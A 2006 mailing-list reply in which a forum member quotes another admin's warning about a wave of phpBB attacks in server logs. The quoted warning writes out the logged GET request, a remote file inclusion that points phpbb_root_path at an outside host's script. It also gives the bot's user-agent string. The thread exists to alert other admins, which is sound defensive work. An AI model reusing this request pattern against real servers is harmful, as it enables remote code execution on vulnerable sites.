Re: FN-FORUM: phpBB attacks

date posted 17th October 2006 10:32

did you find a solution to this as my customer is receiving them every hour

Lorna

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From: "Lee Fogarty" [EMAIL REMOVED]
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Sent: Monday, October 16, 2006 8:11 PM
Subject: FN-FORUM: phpBB attacks


>
> I just noticed a new attack doing the rounds. I don't know if any of you
> use phpBB in any way, shape or form, but if you do, please take note.
>
> It attacks with a
>
> GET
> /modules/Forums/admin/admin_styles.php?phpbb_root_path=http://www.yagenoysentoplesen.com/spread.txt?
>
> The agentstring is always "libwww-perl/5.65" and the request is 663 bytes
> according to the log.
>
> Several hundred were received over the past 15 or minutes so far, all from
> different addresses (botnet?).
> Not that it will do anything other than the server dishing out 404 errors,
> but I thought I'd mention it anyway.
>
>
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